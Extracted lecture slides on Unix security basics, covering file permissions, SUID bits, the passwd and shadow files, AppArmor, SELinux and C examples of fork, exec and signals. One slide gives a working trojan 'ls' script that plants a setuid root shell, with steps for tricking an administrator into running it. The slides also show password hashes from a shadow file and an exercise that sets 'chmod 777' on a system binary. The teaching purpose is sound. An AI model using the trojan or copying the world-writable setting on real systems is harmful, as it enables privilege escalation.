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Lecture 4: Unix Security Basics
Prof. Guntis BarzdinsAsist. Girts Folkmanis
Lekt. Leo TrukšānsUniversity of Latvia
Top UNIX Vulnerabilities
U1 BIND Domain Name System U2 Remote Procedure Calls (RPC) U3 Apache Web Server U4 General UNIX Authentication
Accounts with No Passwords or Weak Passwords
U5 Clear Text Services
U6 Sendmail U7 Simple Network Management
Protocol (SNMP) U8 Secure Shell (SSH) U9 Misconfiguration of Enterprise
Services NIS/NFS U10 Open Secure Sockets Layer
(SSL)
Source: http://www.sans.org/top20/#threats
Favourite TCP Ports
20 FTP (data) 21 FTP (control) 23 Telnet 25 SMTP (mail) 70 Gopher 79 Finger 80 HTTP also 8000 or 8001 or 8080 110 Pop3 119 NNTP (news) 143 Imap
7-19 echo, discard, daytime, chargen, netstat 22 SSH 42 wins 53 dns 111 sun rpc 113 identd 123 ntp 135 loc-srv/epmap – used to attack wintel 137-139 netbios 161 snmp 512-517 rexec, rlogin, rsh, talk, syslog, who 635 mountd – Linux 2049 nfs 6670 Deepthroat 31337 BackOrifice
No system is perfectly secure, but still we need security
A number of toolkits exist that allow total amateurs to become holy terrors.
The good news is that if you can beat the popular intrusion toolkits, 90 percent of the bad guys will go bother somebody else who's less secure.
Protection
Operating system consists of a collection of objects, hardware or software
Each object has a unique name and can be accessed through a well-defined set of operations.
Protection problem - ensure that each object is accessed through correct set of operations and only by those processes that are allowed to do so.
UNIX Security Basics
Permissions UID GID Superuser SUID, SGID Sticky bit Umask Filesystem restrictions Advanced: Systrace, Veriexec, iptables, etc.
Domain Implementation in UNIX
Two domain groups User Superuser (can do everything, UID=0)
User domain group Domain = user-id (UID) Domain switch accomplished via file system.
Each file has associated with it a domain bit (setuid bit = SUID bit).
When file is executed and setuid = on, then effective user-id is set to owner of the file being executed. When execution completes user-id is reset (exit() for child process ).
Subjects and Objects
Each subject (process) and object (file, socket, etc) has a 16-bit UID.
Each object also has a 16-bit GID and each subject has one or more GIDs.
Objects have access control lists that specify read, write, and execute permissions for user, group, and world.
Super-users (uid=0 root) can do anything.
Subjects and Objects
UID GID Others
UID User permissions
GID-main+GID-list
Group permissions
Others Others permissions
Objects = files (regular and devices /dev)
Subj
ects
= p
roce
sses
(effe
ctiv
e U
ID, G
ID c
ount
s)
inodes
inodes contain a lot of information about a file mode and type of file number of links to the file owner's UID owners GID number of bytes in file times (last accessed, modified, inode changed) physical disk addresses (direct and indirect blocks) number of blocks access information
Unix File System (UFS) Structure
Directory Under UNIX directories are special (OS writable only) files. The directory file is an unsorted linked list of filenames to file-inode
(attributes and location of file on hard disk) Directory size will always increase to be large enough to hold all
the file entries. If the number of files latter shrinks the directory size WILL NOT!
5 apples
4 oranges
5 aboli
2 .
7 ..
ls -l> ls -l foo
-rw-rw---- 1 hollingd grads 13 Jan 10 23:05 foo
permissionsowner group
size
time
name
File Time Attributes
Time Attributes: when the file was last changed ls -l when the file was created* ls -lc when the file was last read (accessed) ls -ul
*actually it’s the time the file status in the directory last changed (e.g. file renamed).
File Types In UnixFile Types In Unix
Binary: Uses all characters
Text: Readable characters
All FilesAll Files
DirectoriesDirectories
Machine Code: Directly executed
Source: Readable Programs
Documents, etc.Documents, etc.
Shell scripts: Interpreted by shell
Programming Language: Interpreted or Compiled
Executable Executable FilesFiles
CompilerCompiler
Types of Files
Regular Files binary
GIF, JPEG, Executable etc. text
scripts, program source code, documentation Supports sequential and random access
Types of Files (cont.)
Directory Can contain ANY kind of files
. . (Dot)(Dot) The special name for the The special name for the currentcurrent directory. directory.
.... (Dot) (Dot)(Dot) (Dot) The special name for the directory The special name for the directory above above the the currentcurrent directory. directory.
Device File Allows programs to communicate with hardware. Kernel modules handle device management.
Types of Files (cont.)
Device Files (cont.) Character Device
Accepts a stream of characters, without regard to any block structure.
It is not addressable, therefore no seek operation Block Device
Information stored in fixed-sized block It is addressable, therefore seek operation is possible.
Types of Files (cont.)
UNIX Domain Sockets (BSD) sockets that are local to a particular host and are
referenced through a file system object rather than a network port.
X windows Named Pipe
Allow processes to communicate with each other.
Types of Files (cont.)
Hard links Linking files by reference System maintains a count of the number of links Does not work across file systems.
Soft links Linking files by name No counter is maintained Work across file system
From “man ln” There are two concepts of `link' in Unix, usually called
hard link and soft link A hard link is just a name for a file. (And a file can have
several names. It is deleted from disk only when the last name is removed. The number of names is given by ls(1). There is no such thing as an `original' name: all names have the same status.
A soft link (or symbolic link, or symlink) is an entirely different animal: it is a small special file that contains a pathname.
Create a link directory by typing the following Create a link directory by typing the following command from your home directory:command from your home directory:
% ln -s /home/faculty/ostic/prof myprof% ln -s /home/faculty/ostic/prof myprof
You only need to create this link once.You only need to create this link once. It will It will appear as a subdirectory in your home directory appear as a subdirectory in your home directory structure every time you log on to the system.structure every time you log on to the system.
Creating a LinkCreating a Link
soft link
Disk vs. Filesystem The entire hierarchy can actually include many
disk drives. some directories can be on other computers
/
bin etc users tmp usr
hollid2 scully
Disk mount options
Override individual file permissions A major security tool in Unix
fdisk -l
mount /dev/hdb1 /media/new_disk -t ext3 –o ro,nosuid
unmount /media/new_disk
-rwxr--r--
File permissions
File type- : plain filed : directoryc : character device (tty, printer)b : block device (disk, CD-ROM)l : symbolic links : socket=, p : FIFO
Access granted to ownerr : read / w : write / x : execute
Access granted togroup member
Access granted toothers
If you have If you have readread permission for a file, you permission for a file, you can view its contents.can view its contents.
If you haveIf you have write write permission for a file, you permission for a file, you can alter its contents.can alter its contents.
If you have If you have executeexecute permission for a file, you permission for a file, you can run the file as a program.can run the file as a program.
Permissions for FilesPermissions for Files
If you have read permission for a directory, you can list the contents of the directory.
If you have write permission for a directory, you can create or remove files or directories inside that directory.
If you have execute permission for a directory, you can change to this directory using the cd command, or use it as part of a pathname.
Permissions for Permissions for DirectoriesDirectories
SUID/SGID/sticky bits
SUID (set uid) Processes are granted access to system resources based on user
who owns the file. SGID (set gid)
(For file) Same with SUID except group is affected. (For directory) Files created in that directory will have their group set
to the directory's group. sticky bit
If set on a directory, then a user may only delete files that he owns or for which he has explicit write permission granted, even when he has write access to the directory. (e.g. /tmp )
File Permissions
File Permissions (ex: rw-r--r--) owner: rw-, group: r--, others: r-- r: read, w: write, x: execute
When a process executes, it has four values related to file permission a real user ID, an effective user ID a real group ID, an effective group ID
When you login, your login shell process’ values are your user ID and group ID
Effective User and Group ID
A process’ effective user ID depends on who executes the process, not who owns the
executable E.g., if you run passwd (owned by root), the effective user ID is
your ID, not root; then how can it update /etc/passwd file owned by root ?
Two special file permissions “set user ID” (SUID) and “set group ID” (GUID) When an executable with set user ID permission is executed, the
process’ effective user ID becomes that of executable; the real user ID is unaffected
File permission of /bin/passwd is r-sr-sr-x
Real uids The uid of the user who started the program is used as its real
uid.
The real uid affects what the program can do (e.g. create, delete files).
For example, the uid of /usr/bin/vi is root: $ ls -alt /usr/bin/vilrwxrwxrwx 1 root root 20 Apr 13...
But when I use vi, its real uid is dkl (not root), so I can only edit my files.
Effective uids
Programs can change to use the effective uid the uid of the program owner e.g. the passwd program changes to use its effective uid
(root) so that it can edit the /etc/passwd file
SUID bit enables this functionality
Real and Effective Group-ids
There are also real and effective group-ids.
Usually a program uses the real group-id (i.e. the group-id of the user).
Sometimes useful to use effective group-id (i.e. group-id of program owner): e.g. software shared across teams
SGID bit enables this functionality
Sample SETUID Scenario /dev/lp is owned by root with protection rw-------
This is used to access the printer /bin/lp is owned by root with rwsr-xr-x (with SETUID=1) User A issues a print command Shell (running with A’s UID and GID) interprets the command and forks off
a child process, say, P Process P has the same UID/GID as user A Child process P executes exec(“/bin/lp”,…) Now P’s domain changes to root’s UID Consequently, /dev/lp can be accessed to print When /bin/lp terminates so does P Parent shell never got the access to /dev/lp
File system tips
Turning off SUID / SGID in mounted file system use nosuid (and nodev if possible) when mounting
remote file system or allowing users to mount floppies or CD-ROMs
Finding SUID and SGID Files # find / \( -local -o -prune \) \( -perm -004000 -o -perm -
002000 \) -type f -print ( xdev can be used in place of local/prune)
Unix Accounts and the Filesystem
Unix Accounts
To access a Unix system you need to have an account.
Unix account includes: username and password userid and groupid home directory shell
Creating user accounts
useradd or adduser scripts
manually edit /etc/passwd, etc/shadow, etc/group
remember to lock these files while editing - vipw run “passwd [user]” create home directory
chown, chgrp, chmod copy defaults (e.g umod) from
/etc/skel /etc/profile
username
A username is (typically) a sequence of alphanumeric characters of length no more than 8.
username the primary identifying attribute of your account.
username is (usually) used as a part of email address the name of your home directory is usually related to
your username.
password a password is a secret string that only the user
knows (not even the system knows!) When you enter your password the system
calculates a hash (one-way) function and compares it to a stored string.
passwords are (usually) no less than 8 characters long.
It's a good idea to include numbers and/or special characters (don't use an english word!)
userid
a userid is a number (a 16-bit integer) that identifies a Unix account. Each userid is unique.
It's easier (and more efficient) for the system to use a number than a string like the username.
You don't need to know your userid!
Unix Groups and groupid
Unix includes the notion of a "group" of users. A Unix group can share files and active processes. Each account is assigned a "primary" group. The groupid is a number that corresponds to this
primary group. A single account can belong to many groups (but
has only one primary group).
Home Directory
A home directory is a place in the file system where the account files are stored.
A directory is like a Windows folder (more on this later).
Many unix commands and applications make use of the account home directory (as a place to look for customization files).
Additional Password Security Later versions of Unix have improved the security for password encryption as
follows: Passwords no longer restricted to 8 characters Use MD5 instead of DES; gives 128-bit output Use “salt”
Furthermore, the encrypted (hashed) password is removed from the /etc/passwd file and instead is placed in /etc/shadow
Restricted access to /etc/shadow – no requirement for it to be world-readable; only readable by Root
Much more difficult to launch off-line (dictionary) attack /etc/shadow contains additional password information (number of days before expiry, etc)
passwd, shadow, group files
unix root # more /etc/passwdroot:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/bin/falsedaemon:x:2:2:daemon:/sbin:/bin/falseadm:x:3:4:adm:/var/adm:/bin/falselp:x:4:7:lp:/var/spool/lpd:/bin/falsesync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/halt...guest:x:405:100:guest:/dev/null:/dev/nullnobody:x:65534:65534:nobody:/:/bin/falsegirtsf:x:1000:100::/home/girtsf:/bin/bashdima:x:1001:100::/home/dima:/bin/bashguntis:x:1002:100::/home/guntis:/bin/bashstudents:x:1003:100::/home/students:/bin/bashunix root #
unix root # more /etc/passwdroot:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/bin/falsedaemon:x:2:2:daemon:/sbin:/bin/falseadm:x:3:4:adm:/var/adm:/bin/falselp:x:4:7:lp:/var/spool/lpd:/bin/falsesync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/halt...guest:x:405:100:guest:/dev/null:/dev/nullnobody:x:65534:65534:nobody:/:/bin/falsegirtsf:x:1000:100::/home/girtsf:/bin/bashdima:x:1001:100::/home/dima:/bin/bashguntis:x:1002:100::/home/guntis:/bin/bashstudents:x:1003:100::/home/students:/bin/bashunix root #
unix root # more /etc/shadowroot:$1$VlYbWsrd$GUs2cptio.rKlGHgAMBzr.:12684:0:::::halt:*:9797:0:::::...guest:*:9797:0:::::nobody:*:9797:0:::::girtsf:$1$u6UEWKT2$w5K28n2iAB2wNWtyPLycP1:12684:0:99999:7:::dima:$1$BQCdIBdV$xzzlj4s8XT6L9cLAmcoV50:12684:0:99999:7:::guntis:$1$fiJF/0BT$Py9JiQQL6icajjQVyMZ7//:12684:0:99999:7:::students:$1$wueon8yh$nLpUpNOKr8yTYaEnEK6OJ1:12685:0:99999:7:::unix root #
unix root # more /etc/shadowroot:$1$VlYbWsrd$GUs2cptio.rKlGHgAMBzr.:12684:0:::::halt:*:9797:0:::::...guest:*:9797:0:::::nobody:*:9797:0:::::girtsf:$1$u6UEWKT2$w5K28n2iAB2wNWtyPLycP1:12684:0:99999:7:::dima:$1$BQCdIBdV$xzzlj4s8XT6L9cLAmcoV50:12684:0:99999:7:::guntis:$1$fiJF/0BT$Py9JiQQL6icajjQVyMZ7//:12684:0:99999:7:::students:$1$wueon8yh$nLpUpNOKr8yTYaEnEK6OJ1:12685:0:99999:7:::unix root #
unix etc # ls -l passwd shadow group-rw-r--r-- 1 root root 705 Sep 23 15:36 group-rw-r--r-- 1 root root 1895 Sep 24 18:20 passwd-rw------- 1 root root 634 Sep 24 18:22 shadowunix etc #
unix etc # ls -l passwd shadow group-rw-r--r-- 1 root root 705 Sep 23 15:36 group-rw-r--r-- 1 root root 1895 Sep 24 18:20 passwd-rw------- 1 root root 634 Sep 24 18:22 shadowunix etc #
unix root # more /etc/group root::0:rootbin::1:root,bin,daemondaemon::2:root,bin,daemonsys::3:root,bin,admadm::4:root,adm,daemontty::5:girtsfdisk::6:root,admlp::7:lpmem::8:kmem::9:wheel::10:root,girtsffloppy::11:rootmail::12:mail...users::100:games,girtsfnofiles:x:200:qmail:x:201:postfix:x:207:postdrop:x:208:smmsp:x:209:smmspslocate::245:portage::250:portageutmp:x:406:nogroup::65533:nobody::65534:unix root #
unix root # more /etc/group root::0:rootbin::1:root,bin,daemondaemon::2:root,bin,daemonsys::3:root,bin,admadm::4:root,adm,daemontty::5:girtsfdisk::6:root,admlp::7:lpmem::8:kmem::9:wheel::10:root,girtsffloppy::11:rootmail::12:mail...users::100:games,girtsfnofiles:x:200:qmail:x:201:postfix:x:207:postdrop:x:208:smmsp:x:209:smmspslocate::245:portage::250:portageutmp:x:406:nogroup::65533:nobody::65534:unix root #
tikai “wheel” grupa var su uz root;skat /etc/pam.d/
Users and Ownership: /etc/passwd
Every File is owned by one of the system’s users – identity is represented by the user-id (UID)
Password file assoicate UID with system users.gates:x:65:20:H. Gates:/home/gates:/bin/ksh
login name[encrypted password]
user IDgroup ID
“real” name
command interpreter(shell)home directory
/etc/group Information about system groupsfaculty:x:23:maria,eileen,dkl
group name
[encrypted group password]
group ID
list of group members
Shell
A Shell is a unix program that provides an interactive session - a text-based user interface.
When you log in to a Unix system the program you initially interact with is your shell.
There are a number of popular shells that are available.
Popular Shells
sh Bourne Shell ksh Korn Shell csh C Shellbash Bourne-Again Shell
to new files
$ umask 0174
$ mkdir foo
$ touch bar
$ ls -l
drw-----wx 2 dave dave 512 Sep 1 20:59 foo
-rw-----w- 1 dave dave 0 Sep 1 20:59 bar
umask: Calculations (2) If you want a file permission of 644 (by default, without
manually executing chmod) on a regular file, the umask would need to be 022.
Default Mode 666umask -022New File Mode 644
Bit level: new_mask = mode & ~umask umask = 000010010 = ---rw-rw = 0022
~umask = 111101101
mode = 110110110 = rw-rw-rw = 0666
new_mask = 111100100 = rw------ = 0600
Startup filessh,ksh:
/etc/profile (system defaults) ~/.profile
bash:
~/.bash_profile
~/.bashrc
~/.bash_logout
csh:
~/.cshrc
~/.login
~/.logout
#include <stdlib.h>#include <stdio.h>#include <sys/types.h>#include <sys/wait.h>#include <unistd.h>#include <signal.h>#define MAXLINE 200#define MAXARG 20
extern char **environ;void env(void){ int i; for(i=0;environ[i]!=NULL;i++){ printf("%s\n",environ[i]); }}void exitsh(int status){ _exit(status);}void execute(char *arg[]){ pid_t pid; int status; pid=fork(); if(pid>0){ wait(&status); } else if (pid==0) { execvp(arg[0],arg); printf("Komanda nav atrasta\n");
exitsh(0); } else { printf("Kluda fork() sistemas izsaukuma\
n"); }}
int main (void){ char cmd[MAXLINE]; char *cmdp; char *av[MAXARG]; int i; while(1){ printf("$toyshell$> "); fgets(cmd,sizeof(cmd),stdin); if(strcmp(cmd,"env\n")==0){ env(); } else if(strcmp(cmd,"exit\n")==0){ exitsh(0); } else { cmdp=cmd; for(i=0;i<MAXARG;i++){ av[i]=strtok(cmdp," \t\n"); cmdp=NULL; } execute(av); } } return(0);}
toyshell.c
“toyshell” palaišana# /usr/bin/gcc toyshell.c# cc toyshell.c# ./a.out$toyshell$> envUSER=rootHOME=/rootTERM=vt100PATH=/root/bin:/usr/local/bin:/bin:/usr/binSHELL=/bin/sh$toyshell$> ps PID TTY TIME CMD 126 co 0:00 -sh 95 c1 0:00 getty 435 p1 0:00 ./a.out 436 p1 0:00 ps$toyshell$> exit#
Q&A: Who and how choose how to execute shell and/or object binary file ?
man execveexecve(const char *path, char *const argv[], char *const envp[]);
execve() transforms the calling process into a new process. The new process is constructed from an ordinary file, whose name is pointed to by path, called the new process file. This file is either an executable object file, or a file of data for an interpreter.
An executable object file consists of an identifying header, followed by pages of data representing the initial program (text) and initialized data pages. Additional pages may be specified by the header to be initialized with zero data;
An interpreter file begins with a line of the form: #! interpreter [arg] When an interpreter file is execve(Ap, d), the system execve(Ap, s) runs the specified
interpreter. If the optional arg is specified, it becomes the first argument to the interpreter, and the name of the originally execve(Ap, d) file becomes the second argument; otherwise, the name of the originally execve(Ap, d) file becomes the first argument. The original arguments are shifted over to become the subsequent arguments. The zeroth argument, normally the name of the execve(Ap, d) file, is left unchanged
....
/etc/magic:...0 string \177ELF ELF>4 byte 0 invalid class>4 byte 1 32-bit>4 byte 2 64-bit>5 byte 0 invalid byte order>5 byte 1 LSB>>16 leshort 0 no file type,>>16 leshort 1 relocatable,>>16 leshort 2 executable,>>16 leshort 3 shared object,...# bash shell magic, from Peter Tobias ([email protected])0 string #!/bin/bash Bourne-Again shell script text0 string #!\ /bin/bash Bourne-Again shell script text0 string #!/usr/local/bin/bash Bourne-Again shell script text0 string #!\ /usr/local/bin/bash Bourne-Again shell script text
# generic shell magic0 string #!\ / a>3 string >\0 %s script text0 string #!/ a>2 string >\0 %s script text0 string #!\ commands text>3 string >\0 for %s...0 string :\ shell archive or commands for antique kernel text0 string #!/bin/sh Bourne shell script text0 string #!\ /bin/sh Bourne shell script text0 string #!/bin/csh C shell script text0 string #!\ /bin/csh C shell script text...
Q&A: Who and how choose how to execute shell and/or object binary file ?
Logging In
To log in to a Unix machine you can either: sit at the console (the computer itself) access via the net (using telnet, rsh, ssh, kermit, or
some other remote access client). The system prompts you for your username and
password. Usernames and passwords are case sensitive!
Session Startup
Once you log in, your shell will be started and it will display a prompt.
When the shell is started it looks in your home directory for some customization files. You can change the shell prompt and a bunch of other
things by creating customization files (umask etc.)
Your Home Directory
Every Unix process* has a notion of the “current working directory”.
Your shell (which is a process) starts with the current working directory set to your home directory.
*A process is an instance of a program that is currently running.
Interacting with the Shell
The shell prints a prompt and waits for you to type in a command.
The shell can deal with a couple of types of commands: shell internals - commands that the shell handles
directly. External programs - the shell runs a program for you.
Who is superuser ?
UID of 0 Any username can be the superuser. Normal security checks and constraints are
ignored for the superuser. Superuser is not for casual use.
Do not login as superuser, use ‘/bin/su’ with “-” option instead.
Simple trap to steal superuser
Premise Root’s PATH starts with “.”
Contents of shell script ‘ls’#!/bin/shcp /bin/sh ./junk/.sschmod 4555 ./junk/.ssrm –f $0exec /bin/ls ${1+”$@”}
Set a trap% cd% chmod 700 .% touch ./-f
To do is just say to administrator. “I have a funny file in my directory I can’t seem to delete.”
Good root practice
unix root # which ls
/bin/ls
unix root # ls -al `which ls`
-rwxr-xr-x 1 root root 79360 Jul 18 08:03 /bin/ls
unix root #
Do not start root PATH with “.”
AppArmor
AppArmor is a kernel enhancement to confine programs to a limited set of resources.
AppArmor's unique security model is to bind access control attributes to programs rather than to users.
AppArmor confinement is provided via profiles loaded into the kernel.
AppArmor
AppArmor can operate in two modes: enforcement, and complain.
Profiles are applied to a process at exec(3) time. AppArmor also restricts what privileged
operations a confined process may execute, even if the process is running as root.
AppArmor
• # cat /etc/apparmor.d/usr.bin.tail• /usr/bin/tail {• /lib/** rm,• /etc/group r,• }• # enforce /usr/bin/tail• Setting /usr/bin/tail to enforce mode.• # tail /etc/passwd• tail: cannot open `/etc/passwd' for reading: Permission denied• # tail /etc/group• rtkit:x:117:• ...• # complain /usr/bin/tail• Setting /usr/bin/tail to complain mode.
SELinux
NSA Security-Enhanced Linux (SELinux) is an implementation of a flexible mandatory access control (MAC) architecture in the Linux operating system.
The /etc/selinux/config configuration file controls whether SELinux is enabled or disabled, and if enabled, whether SELinux operates in permissive mode or enforcing mode.
At present, two kinds of SELinux policy exist: targeted and strict.
SELinux
When a subject, (for example, an application), attempts to access an object (for example, a file), the policy enforcement server in the kernel checks an access vector cache (AVC), where subject and object permissions are cached.
If a decision cannot be made based on data in the AVC, the request continues to the security server, which looks up the security context of the application and the file in a matrix. Permission is then granted or denied, with an “avc: denied” message detailed in /var/log/messages if permission is denied.
SELinux piemēri
• /usr/sbin/setenforce Permissive• /usr/sbin/setenforce Enforcing
• # /usr/sbin/getsebool httpd_can_network_connect• httpd_can_network_connect --> off• # /usr/sbin/setsebool -P httpd_can_network_connect=1• # /usr/sbin/getsebool httpd_can_network_connect• httpd_can_network_connect --> on
• # /usr/sbin/setsebool -P ftp_home_dir on
• chcon -v -R --type=httpd_sys_content_t /var/citswww/*
Vingrinājums no 2006 Katram instalēt atšķirīgu* Unix paveidu Pētījumā (aptuveni 5-10 lpp) aprakstīt gūto pieredzi:
Ar ko šī Unix versija atšķiras no citām, kāpēc to izvēlējāties Unix instalācijas process
Galveno soļu screenshoti Svarīgākās konfigurācijas opcijas, jūsu izvēle Izveidot lietotāju “lapsa”, pārbaudīt ka var pieslēgties
Aplikācijas “toyshell” kompilācija, uzlabošana Nokompilēt un pārbaudīt “toyshell” darbību Papildināt “toyshell” funkcionalitāti (help, cd, ctrl/D, setenv,...)** Panākt lai lietotājs “lapsa” pieslēdzoties nonāk jūsu “toyshell” un
var tajā veikt sakarīgas darbības
* - vairāku vienādu Unix paveidu gadījumā, vērtējums būs stingrāks** - vairāk signāli, systemcall vērtējumu uzlabos
Security in UNIX
cp a.out /bin/toyshellchmod 777 /bin/toyshellmkdir /home/lapsapasswd lapsagunzip –c Unix.tar.gz | tar –xvf -
Environment variables
#include <stdlib.h>extern char **environ;int main(int argc,char *argv[]) {
int i;for (i=0;environ[i]!=NULL;i++){
printf("%s\n",environ[i]);}return(0);
}
Environment variables
#include <stdlib.h>
int main(int argc,char *argv[]){if (argc==1){
printf("Nav neviena argumenta\n");return(1);
} else if (argc>2) {printf("argc > 2\n");return(1);
} else {printf("%s=%s",argv[1],getenv(argv[1]));
} return(0);
}
Environment variables
#include <stdlib.h>
extern char **environ;int main(int argc,char *argv[]){
int i;if (argc==1){
printf("Nav neviena argumenta\n");return(1);
} else if (argc>2) {printf("argc > 2\n");return(1);
} else {putenv(argv[1]);
} for (i=0;environ[i]!=NULL;i++){
printf("%s\n",environ[i]);}return(0);
}
Environment variables
#include <stdlib.h>
extern char **environ;int main(int argc,char *argv[]){
int i;if (argc==1){
printf("Nav neviena argumenta\n");return(1);
} else if (argc>2) {printf("argc > 2\n");return(1);
} else {unsetenv(argv[1]);
} for (i=0;environ[i]!=NULL;i++){
printf("%s\n",environ[i]);}return(0);
}
Exec
#include <stdlib.h>
int main(int argc,char *argv[]){printf("execl() system call\n");execl("/bin/echo","echo","Test1.1","Test1.2",NULL);return(0);
}
Exec
#include <stdlib.h>#include <stdio.h>
int main(int argc,char *argv[]){printf("execl() system call testing\n");fflush(stdout);execl("/bin/echo","echo","Test1.1","Test1.2",NULL);return(0);
}
Fork
#include <stdlib.h>#include <sys/types.h>#include <unistd.h>
int main(int argc,char *argv[]){pid_t pid;printf("start test\n");pid=fork();printf("Return value %d\n",pid);sleep(1);return(0);
}
Fork#include <stdlib.h>#include <sys/types.h>#include <unistd.h>#include <errno.h>
pid_t pid;int main(int argc,char *argv[]){
pid=fork();if(pid==-1) {
printf("Error creating new process\n");return(errno);
}if(pid==0){
printf("Child\n");sleep(10);return(0);
}if(pid!=0){
wait();printf("Parent\n");return(0);
}}
Fork
#include <stdlib.h>#include <sys/types.h>#include <unistd.h>#include <errno.h>
pid_t pid;int main(int argc,char *argv[]){
pid=fork();if(pid==-1) {
printf("Error creating new process\n");return(errno);
}if(pid==0){
printf("Child\n");execl("/bin/ls","ls","-l","/",NULL);sleep(10);return(0);
}if(pid!=0){
wait();printf("Parent\n");return(0);
}}
Signal
#include <stdlib.h>#include <signal.h>
int i;
void sighandler(){printf("Catched signal\n");printf("Reset i value\n");i=0;
}
int main(int argc,char *argv){struct sigaction sact;sact.sa_handler=sighandler;sigaction(SIGINT,&sact,NULL);for(i=0;;i++){
printf("%d\n",i);sleep(3);
}return(0);
}
Signal
#include <stdlib.h>#include <signal.h>
int i;
void sighandler(){printf("SIGHUP signal\n");printf("Reset i value\n");i=0;
}
int main(int argc,char *argv){struct sigaction sact1;struct sigaction sact2;sact1.sa_handler=SIG_IGN;sact2.sa_handler=sighandler;sigaction(SIGINT,&sact1,NULL);sigaction(SIGHUP,&sact2,NULL);for(i=0;;i++){
printf("%d\n",i);sleep(3);
}return(0);
}
Signal#include <stdlib.h>#include <signal.h>
int i;
void sighandler(){printf("SIGHUP signal\n");printf("Reset i value\n");i=0;
}
int main(int argc,char *argv){struct sigaction sact2;sact2.sa_handler=sighandler;sigaction(SIGHUP,&sact2,NULL);for(i=0;;i++){
printf("%d\n",i);sleep(1);if(i>=10){
if(raise(SIGHUP)!=0){printf("Problem send signal to current process\n");
}}
}return(0);
}